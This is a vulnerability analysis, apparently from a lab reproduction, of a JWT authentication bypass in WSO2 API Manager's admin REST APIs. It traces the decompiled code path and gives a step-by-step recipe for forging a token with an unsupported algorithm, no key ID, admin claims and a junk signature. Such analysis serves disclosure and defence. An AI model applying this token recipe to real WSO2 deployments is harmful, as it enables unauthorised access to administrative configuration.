
Summary
The management/REST APIs of WSO2 API Manager (Admin, Publisher, DevPortal) accept a JWT bearer token as one authentication method. An attacker can forge a JWT that is **never verified** and be treated as authenticated.
The trick is to sign the token with an algorithm WSO2 does not support (e.g. HS256, ES256, PS512) and to omit the kid header. Under those conditions:
1. Signature validation throws an exception instead of returning false.
2. The CXF authentication interceptor catches that exception, logs it, and returns which in CXF does *not* abort the request. The request proceeds to the target resource with authentication effectively skipped.
The result is unauthenticated read access to administrative REST endpoints. A Bearer token consisting of a valid-looking header, a claims body the attacker fully controls, and a garbage signature is enough.
Affected code path
Three components collaborate to produce the bypass. All line references are from the decompiled *_9.31.86 jars shipped in 4.5.0 (see analysis/).
Entry — OAuthJwtAuthenticatorImpl.authenticate()
org.wso2.carbon.apimgt.rest.api.util.impl.OAuthJwtAuthenticatorImpl
SignedJWTInfo signedJWTInfo = this.getSignedJwt(accessToken); // Nimbus SignedJWT.parse()
...
JWTValidationInfo jwtValidationInfo =
this.validateJWTToken(signedJWTInfo, jwtTokenIdentifier, accessToken, maskedToken, basePath);validateJWTToken() resolves a JWTValidator for the token's iss claim. With no custom token issuers configured, it falls back to the resident IdP of the tenant in app_td and
builds a JWTValidatorImpl around that IdP's certificate, then calls jwtValidator.validateToken(signedJWTInfo).
Signature dispatch JWTValidatorImpl.validateSignature()
org.wso2.carbon.apimgt.impl.jwt.JWTValidatorImpl
String certificateAlias = "gateway_certificate_alias";
String keyID = signedJWT.getHeader().getKeyID();
if (!StringUtils.isNotEmpty(keyID))
return JWTUtil.verifyTokenSignature(signedJWT, certificateAlias); // <-- taken when no "kid"
...
This is the pivotal branch. When the header carries no kid validation isdelegated to the alias overload of JWTUtil.verifyTokenSignature. (With a kid, the
code takes the JWKS/certificate path, which returns false for a bad key and produces a clean 401 — no bypass.)
validateToken() only catches ParseException | JWTGeneratorException:
try {
boolean state = ajc$this.validateSignature(signedJWTInfo.getSignedJWT());
...
} catch (ParseException | JWTGeneratorException e) {
throw new APIManagementException("Error while parsing JWT", e);
}
So any APIManagementException thrown inside validateSignature propagates up unchanged, straight out of authenticate().
The throw — JWTUtil.verifyTokenSignature(SignedJWT, String alias)
org.wso2.carbon.apimgt.impl.utils.JWTUtil
Certificate publicCert = APIUtil.getCertificateFromParentTrustStore(alias);
if (publicCert != null) {
JWSAlgorithm algorithm = jwt.getHeader().getAlgorithm();
if (JWSAlgorithm.RS256.equals(algorithm) ||
JWSAlgorithm.RS512.equals(algorithm) ||
JWSAlgorithm.RS384.equals(algorithm)) {
return verifyTokenSignature(jwt, (RSAPublicKey) publicCert.getPublicKey());
}
log.error("Public key is not RSA");
throw new APIManagementException("Public key is not RSA"); // <-- attacker-reachable
}The gateway_certificate_alias entry exists in the shipped client-truststore.jks, so publicCert != null and execution reaches the algorithm check. Any algorithm outside {RS256, RS384, RS512} falls into the else and throws. The signature is never even examined; only the declared algorithm matters.
The swallow — OAuthAuthenticationInterceptor.handleMessage()
org.wso2.carbon.apimgt.rest.api.util.interceptors.auth.OAuthAuthenticationInterceptor
try {
...
if (abstractOAuthAuthenticator.authenticate(inMessage)) {
...
} else {
throw new AuthenticationException("Unauthenticated request"); // the intended reject path
}
this.logAuditOperation(inMessage);
} catch (APIManagementException e) {
logger.error("Error while authenticating incoming request to API Manager REST API", e);
// <-- NO throw, NO abort: method simply returns
}The intended rejection path is authenticate() returning false → throw AuthenticationException. But our token never gets that far: authenticate() throws APIManagementException("Public key is not RSA"), which lands in this catch. The interceptor logs it and falls off the end of handleMessage(). In the CXF in-interceptor chain, returning normally means "carry on" — so the chain proceeds to ServiceInvokerInterceptor and the target JAX-RS method runs.
The PostAuthenticationInterceptor that runs later only checks that a request_authentication_scheme property was set (it was, to “jwt”), so it waves the request through too.
Full chain
Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..
│
▼
OAuthAuthenticationInterceptor.handleMessage()
│ try {
▼
OAuthJwtAuthenticatorImpl.authenticate()
▼
OAuthJwtAuthenticatorImpl.validateJWTToken() (resolves resident-IdP validator)
▼
JWTValidatorImpl.validateToken() (catches only ParseException/JWTGeneratorException)
▼
JWTValidatorImpl.validateSignature() header has no "kid"
▼
JWTUtil.verifyTokenSignature(jwt, "gateway_certificate_alias")
▼
alg ∉ {RS256,RS384,RS512} ─────────────────► throw APIManagementException("Public key is not RSA")
│ │ propagates up unchanged
▼ ▼
└──────────────────────────────────────► } catch (APIManagementException e) { log; /* return */ }
│
▼
CXF continues the chain → resource method executes
│
▼
HTTP 200 — UNAUTHENTICATED Captured live in evidence/server-log-bypass.txt:
ERROR - OAuthAuthenticationInterceptor Error while authenticating incoming request to API Manager REST API
org.wso2.carbon.apimgt.api.APIManagementException: Public key is not RSA
at ...JWTValidatorImpl.validateSignature_aroundBody8(JWTValidatorImpl.java:181)
at ...JWTValidatorImpl.validateToken_aroundBody0(JWTValidatorImpl.java:61)
at ...OAuthJwtAuthenticatorImpl.validateJWTToken(OAuthJwtAuthenticatorImpl.java:277)
at ...OAuthJwtAuthenticatorImpl.authenticate(OAuthJwtAuthenticatorImpl.java:108)
at ...OAuthAuthenticationInterceptor.handleMessage(OAuthAuthenticationInterceptor.java:139)That error line is logged, and the HTTP response is nonetheless 200.
Crafting the token
Header — algorithm unsupported, no kid
{"alg": "HS256", "typ": "JWT"}Claims — attacker-controlled
{
"iss": "https://localhost:9443/oauth2/token",
"sub": "admin",
"azp": "poc-client",
"scope": "apim:admin apim:environment_read ...",
"iat": 1786189938,
"exp": 1786193538,
"jti": "poc-0d318ff4-1a93-459a-b93e-feb5add26e50",
"user_td": "carbon.super",
"app_td": "carbon.super"
}Signature — any bytes; base64url of `"invalid-signature-never-verified"` works.
Three details decide success or a false 401:
- iss must be a token issuer the server trusts. Default resident IdP issuer is ${carbon.protocol}://${carbon.host}:${carbon.management.port}/oauth2/token = https://localhost:9443/oauth2/token (from identity.xml →
Keep :9443 even if you mapped a different host port — it is the issuer the server believes in, not the port you connect to.
- No kid — otherwise the JWKS/cert path returns false → real 401.
- Fresh jti per request — the REST API caches invalid tokens by jti; reuse replays the earlier rejection and hides a working bypass.
alg=none does not work: Nimbus SignedJWT.parse() rejects an unsecured JWT before any WSO2 code runs.
Proof of Concept

Impact and its limits
What the attacker gets
Unauthenticated read of administrative configuration.
- /api/am/admin/v4/settings (note: anonymous by design — see below)
- /api/am/admin/v4/tenant-config, /tenant-config-schema
- /api/am/admin/v4/environments, /key-managers, /global-key-managers
- /api/am/admin/v4/llm-providers, /labels, /workflows, /organizations
key-managers/llm-providers config can expose issuer URLs, endpoints and provider metadata. The advisory rates the ceiling at account takeover / administrative compromise (CVSS 10.0) because the same interceptor guards write operations across the product suite.
A real limitation observed in this reproduction
Because the exception is thrown inside validateSignature, the later handleScopeValidation() never runs, so the CXF/carbon username is never set. Endpoints that call RestApiCommonUtil.getLoggedInUsername() therefore fail with HTTP 500 (NullPointerException at MultitenantUtils.getTenantDomain, or Error while retrieving Registry for organizationnull):
- /applications, /throttling/policies/*, /system-scopes, /apis, most Publisher/DevPortal endpoints.
- Passing ?user=admin does not help — ApplicationsApiServiceImpl still calls getTenantId(getLoggedInUsername()).
So on a stock 4.5.0 the demonstrated primitive is unauthenticated read of the endpoints that don't depend on an identity. Whether a specific write endpoint is exploitable depends on whether it dereferences the (null) logged-in user before doing its work — this should be assessed per endpoint rather than assumed. This nuance is exactly why the flag in this lab is stored in a gateway environment (no org dependency) and not an API category (which 500s under the bypass once populated).
Gotcha: /settings is anonymous
- /api/am/admin/v4/settings returns 200 with no token at all — it is intentionally anonymous. Do not use it to "prove" the bypass or as an auth-readiness probe; use a genuinely protected endpoint like /environments`(401 without a valid token).
